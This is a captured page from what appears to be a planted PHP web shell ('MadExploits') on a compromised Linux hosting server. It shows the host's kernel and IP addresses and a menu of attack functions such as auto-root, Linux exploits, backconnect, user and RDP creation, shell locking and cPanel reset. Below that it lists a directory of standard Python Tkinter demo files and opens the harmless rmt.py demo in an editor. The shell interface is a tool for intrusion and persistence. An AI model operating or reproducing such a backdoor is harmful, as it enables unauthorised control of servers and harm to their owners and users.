Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.133.129.8
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
Demo /
tkinter /
guido /
[ HOME SHELL ]
Name
Size
Permission
Action
AttrDialog.py
14
KB
-rw-r--r--
AttrDialog.pyc
18.34
KB
-rw-r--r--
AttrDialog.pyo
18.34
KB
-rw-r--r--
ManPage.py
6.7
KB
-rw-r--r--
ManPage.pyc
6.27
KB
-rw-r--r--
ManPage.pyo
6.27
KB
-rw-r--r--
MimeViewer.py
4.39
KB
-rwxr-xr-x
MimeViewer.pyc
4.83
KB
-rw-r--r--
MimeViewer.pyo
4.83
KB
-rw-r--r--
ShellWindow.py
4.07
KB
-rw-r--r--
ShellWindow.pyc
5.47
KB
-rw-r--r--
ShellWindow.pyo
5.47
KB
-rw-r--r--
brownian.py
1.07
KB
-rw-r--r--
brownian.pyc
1.59
KB
-rw-r--r--
brownian.pyo
1.59
KB
-rw-r--r--
brownian2.py
1.35
KB
-rw-r--r--
brownian2.pyc
1.74
KB
-rw-r--r--
brownian2.pyo
1.74
KB
-rw-r--r--
canvasevents.py
6.45
KB
-rw-r--r--
canvasevents.pyc
10.46
KB
-rw-r--r--
canvasevents.pyo
10.46
KB
-rw-r--r--
dialog.py
3.13
KB
-rwxr-xr-x
dialog.pyc
3.11
KB
-rw-r--r--
dialog.pyo
3.11
KB
-rw-r--r--
electrons.py
2.27
KB
-rwxr-xr-x
electrons.pyc
2.33
KB
-rw-r--r--
electrons.pyo
2.33
KB
-rw-r--r--
hanoi.py
4.54
KB
-rw-r--r--
hanoi.pyc
3.82
KB
-rw-r--r--
hanoi.pyo
3.82
KB
-rw-r--r--
hello.py
331
B
-rw-r--r--
hello.pyc
701
B
-rw-r--r--
hello.pyo
701
B
-rw-r--r--
imagedraw.py
509
B
-rw-r--r--
imagedraw.pyc
1.13
KB
-rw-r--r--
imagedraw.pyo
1.13
KB
-rw-r--r--
imageview.py
205
B
-rw-r--r--
imageview.pyc
570
B
-rw-r--r--
imageview.pyo
570
B
-rw-r--r--
kill.py
3.79
KB
-rwxr-xr-x
kill.pyc
4.81
KB
-rw-r--r--
kill.pyo
4.81
KB
-rw-r--r--
listtree.py
991
B
-rw-r--r--
listtree.pyc
1.5
KB
-rw-r--r--
listtree.pyo
1.5
KB
-rw-r--r--
mbox.py
7.3
KB
-rwxr-xr-x
mbox.pyc
8.17
KB
-rw-r--r--
mbox.pyo
8.17
KB
-rw-r--r--
newmenubardemo.py
1.2
KB
-rw-r--r--
newmenubardemo.pyc
1.59
KB
-rw-r--r--
newmenubardemo.pyo
1.59
KB
-rw-r--r--
optionmenu.py
441
B
-rw-r--r--
optionmenu.pyc
594
B
-rw-r--r--
optionmenu.pyo
594
B
-rw-r--r--
paint.py
1.85
KB
-rw-r--r--
paint.pyc
2.19
KB
-rw-r--r--
paint.pyo
2.19
KB
-rw-r--r--
rmt.py
4.39
KB
-rwxr-xr-x
rmt.pyc
4.93
KB
-rw-r--r--
rmt.pyo
4.93
KB
-rw-r--r--
solitaire.py
17.37
KB
-rwxr-xr-x
solitaire.pyc
20.41
KB
-rw-r--r--
solitaire.pyo
20.41
KB
-rw-r--r--
sortvisu.py
18.89
KB
-rw-r--r--
sortvisu.pyc
23.18
KB
-rw-r--r--
sortvisu.pyo
23.18
KB
-rw-r--r--
ss1.py
25.57
KB
-rw-r--r--
ss1.pyc
31.67
KB
-rw-r--r--
ss1.pyo
31.07
KB
-rw-r--r--
svkill.py
4.75
KB
-rwxr-xr-x
svkill.pyc
5.8
KB
-rw-r--r--
svkill.pyo
5.8
KB
-rw-r--r--
switch.py
1.52
KB
-rw-r--r--
switch.pyc
2.85
KB
-rw-r--r--
switch.pyo
2.85
KB
-rw-r--r--
tkman.py
8.79
KB
-rwxr-xr-x
tkman.pyc
8.88
KB
-rw-r--r--
tkman.pyo
8.88
KB
-rw-r--r--
wish.py
623
B
-rw-r--r--
wish.pyc
736
B
-rw-r--r--
wish.pyo
736
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rmt.py
#! /usr/bin/env python # A Python program implementing rmt, an application for remotely # controlling other Tk applications. # Cf. Ousterhout, Tcl and the Tk Toolkit, Figs. 27.5-8, pp. 273-276. # Note that because of forward references in the original, we # sometimes delay bindings until after the corresponding procedure is # defined. We also introduce names for some unnamed code blocks in # the original because of restrictions on lambda forms in Python. # XXX This should be written in a more Python-like style!!! from Tkinter import * import sys # 1. Create basic application structure: menu bar on top of # text widget, scrollbar on right. root = Tk() tk = root.tk mBar = Frame(root, relief=RAISED, borderwidth=2) mBar.pack(fill=X) f = Frame(root) f.pack(expand=1, fill=BOTH) s = Scrollbar(f, relief=FLAT) s.pack(side=RIGHT, fill=Y) t = Text(f, relief=RAISED, borderwidth=2, yscrollcommand=s.set, setgrid=1) t.pack(side=LEFT, fill=BOTH, expand=1) t.tag_config('bold', font='-Adobe-Courier-Bold-R-Normal-*-120-*') s['command'] = t.yview root.title('Tk Remote Controller') root.iconname('Tk Remote') # 2. Create menu button and menus. file = Menubutton(mBar, text='File', underline=0) file.pack(side=LEFT) file_m = Menu(file) file['menu'] = file_m file_m_apps = Menu(file_m, tearoff=0) file_m.add_cascade(label='Select Application', underline=0, menu=file_m_apps) file_m.add_command(label='Quit', underline=0, command=sys.exit) # 3. Create bindings for text widget to allow commands to be # entered and information to be selected. New characters # can only be added at the end of the text (can't ever move # insertion point). def single1(e): x = e.x y = e.y t.setvar('tk_priv(selectMode)', 'char') t.mark_set('anchor', At(x, y)) # Should focus W t.bind('<1>', single1) def double1(e): x = e.x y = e.y t.setvar('tk_priv(selectMode)', 'word') t.tk_textSelectTo(At(x, y)) t.bind('<Double-1>', double1) def triple1(e): x = e.x y = e.y t.setvar('tk_priv(selectMode)', 'line') t.tk_textSelectTo(At(x, y)) t.bind('<Triple-1>', triple1) def returnkey(e): t.insert(AtInsert(), '\n') invoke() t.bind('<Return>', returnkey) def controlv(e): t.insert(AtInsert(), t.selection_get()) t.yview_pickplace(AtInsert()) if t.index(AtInsert())[-2:] == '.0': invoke() t.bind('<Control-v>', controlv) # 4. Procedure to backspace over one character, as long as # the character isn't part of the prompt. def backspace(e): if t.index('promptEnd') != t.index('insert - 1 char'): t.delete('insert - 1 char', AtInsert()) t.yview_pickplace(AtInsert()) t.bind('<BackSpace>', backspace) t.bind('<Control-h>', backspace) t.bind('<Delete>', backspace) # 5. Procedure that's invoked when return is typed: if # there's not yet a complete command (e.g. braces are open) # then do nothing. Otherwise, execute command (locally or # remotely), output the result or error message, and issue # a new prompt. def invoke(): cmd = t.get('promptEnd + 1 char', AtInsert()) if t.getboolean(tk.call('info', 'complete', cmd)): # XXX if app == root.winfo_name(): msg = tk.call('eval', cmd) # XXX else: msg = t.send(app, cmd) if msg: t.insert(AtInsert(), msg + '\n') prompt() t.yview_pickplace(AtInsert()) def prompt(): t.insert(AtInsert(), app + ': ') t.mark_set('promptEnd', 'insert - 1 char') t.tag_add('bold', 'insert linestart', 'promptEnd') # 6. Procedure to select a new application. Also changes # the prompt on the current command line to reflect the new # name. def newApp(appName): global app app = appName t.delete('promptEnd linestart', 'promptEnd') t.insert('promptEnd', appName + ':') t.tag_add('bold', 'promptEnd linestart', 'promptEnd') def fillAppsMenu(): file_m_apps.add('command') file_m_apps.delete(0, 'last') names = root.winfo_interps() names = list(names) names.sort() for name in names: try: root.send(name, 'winfo name .') except TclError: # Inoperative window -- ignore it pass else: file_m_apps.add_command( label=name, command=lambda name=name: newApp(name)) file_m_apps['postcommand'] = fillAppsMenu mBar.tk_menuBar(file) # 7. Miscellaneous initialization. app = root.winfo_name() prompt() t.focus() root.mainloop()
Close